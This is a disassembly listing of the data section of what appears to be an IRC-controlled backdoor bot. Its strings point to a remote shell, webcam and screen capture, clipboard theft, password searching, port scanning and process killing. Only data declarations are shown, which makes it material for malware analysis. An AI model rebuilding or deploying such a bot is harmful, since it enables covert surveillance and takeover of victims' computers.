dword_4352E4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C9o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_435318	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6015o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_435354	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+600Ao
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_435390	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB5o
		dd 2BBBB02h, 73252020h,	0
unk_4353B0	db    2			; DATA XREF: sub_40EE72+5F8Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_4353FC	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F15o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Fo
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F08o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EADo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Co
		align 4
unk_435448	db    2			; DATA XREF: sub_40EE72+5E91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_435490	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_4354A0	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_4354AC	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_4354B8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D52o
dword_4354C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Fo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
		align 4
dword_435508	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFDo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
		align 4
dword_435558	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C76o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_435594	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C62o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_4355BC	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Do
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_435604	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD2o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_435630	dd 627573h		; DATA XREF: sub_40EE72+5BACo
dword_435634	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Do
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_43565C	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B42o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_4356A4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD3o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_4356CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A36o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4356F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A04o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_43571C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59AFo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_435744	db    2			; DATA XREF: sub_40EE72+599Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_435794	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Do
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Do
		align 4
unk_4357CC	db    2			; DATA XREF: sub_40EE72+58B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 10h
unk_435800	db    2			; DATA XREF: sub_40EE72+5893o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 10h
dword_435830	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+584Ao
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_435858	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F9o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_435888	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5780o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_4358C0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5764o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4358F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5746o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
		align 4
unk_435938	db    2			; DATA XREF: sub_40EE72:loc_41457Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_435974	db    2			; DATA XREF: sub_40EE72+56EDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_4359A8	db    2			; DATA XREF: sub_40EE72:loc_41454Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_4359E4	db    2			; DATA XREF: sub_40EE72:loc_414548o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_435A20	db    2			; DATA XREF: sub_40EE72+56CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_435A54	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 10h
dword_435AA0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 4
unk_435AEC	db    2			; DATA XREF: sub_40EE72+5528o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_435B34	db    2			; DATA XREF: sub_40EE72+53B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_435B7C	db    2			; DATA XREF: sub_40EE72+5287o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_435BA8	db    2			; DATA XREF: sub_40EE72+5271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_435BF4	db    2			; DATA XREF: sub_40EE72+5200o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_435C2C	db    2			; DATA XREF: sub_40EE72:loc_414039o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 10h
unk_435C70	db    2			; DATA XREF: sub_40EE72+5108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_435CE8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC8o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435D1C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EACo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435D4C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E89o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_435D7C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Do
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_435DA4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Eo
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_435DE0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE5o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_435E14	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C11o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_435E4C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D86o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Co
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE5o
					; sub_40EE72:loc_414B4Co
		align 4
dword_435E98	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C6Ao
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_435ECC	db    3			; DATA XREF: sub_40EE72:loc_413AC7o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 10h
unk_435F10	db    3			; DATA XREF: sub_40EE72+4C4Bo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_435F4C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C2Bo
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_435F80	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A51o
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_435FB8	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB4o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_435FE4	db    2			; DATA XREF: sub_40EE72:loc_4139F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_436024	db    2			; DATA XREF: sub_40EE72+4B76o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_436058	db    2			; DATA XREF: sub_40EE72:loc_413992o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_43609C	db    2			; DATA XREF: sub_40EE72+4B19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4360D4	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD4o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_436100	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Fo
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_436134	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D4o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_436158	db    2			; DATA XREF: sub_40EE72+49B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_4361A4	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4947o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_4361CC	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413747o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4361F8	db    2			; DATA XREF: sub_40EE72+48CBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_436224	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+489Ao
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_43624C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Fo
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_436288	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Fo
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4362B8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+483Bo
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_4362EC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41363Bo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_436338	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413631o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_436388	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B5o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
dword_4363C4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Fo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 4
dword_43640C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413588o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 10h
dword_436450	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4706o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FCo
		align 4
dword_436494	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Do
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_4364C8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4647o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413465o
dword_436504	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413452o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_43654C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41344Bo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_436588	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C9o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413402o
		align 4
dword_4365CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4578o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_4365F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4534o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_436634	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4518o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_436668	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4498o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_436694	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4461o
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 10h
dword_4366C0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4413o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_4366EC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A2o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_436710	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4368o
					; sub_40EE72+4E78o
dword_43671C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4341o
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+4330o
		align 4
dword_436754	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4307o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
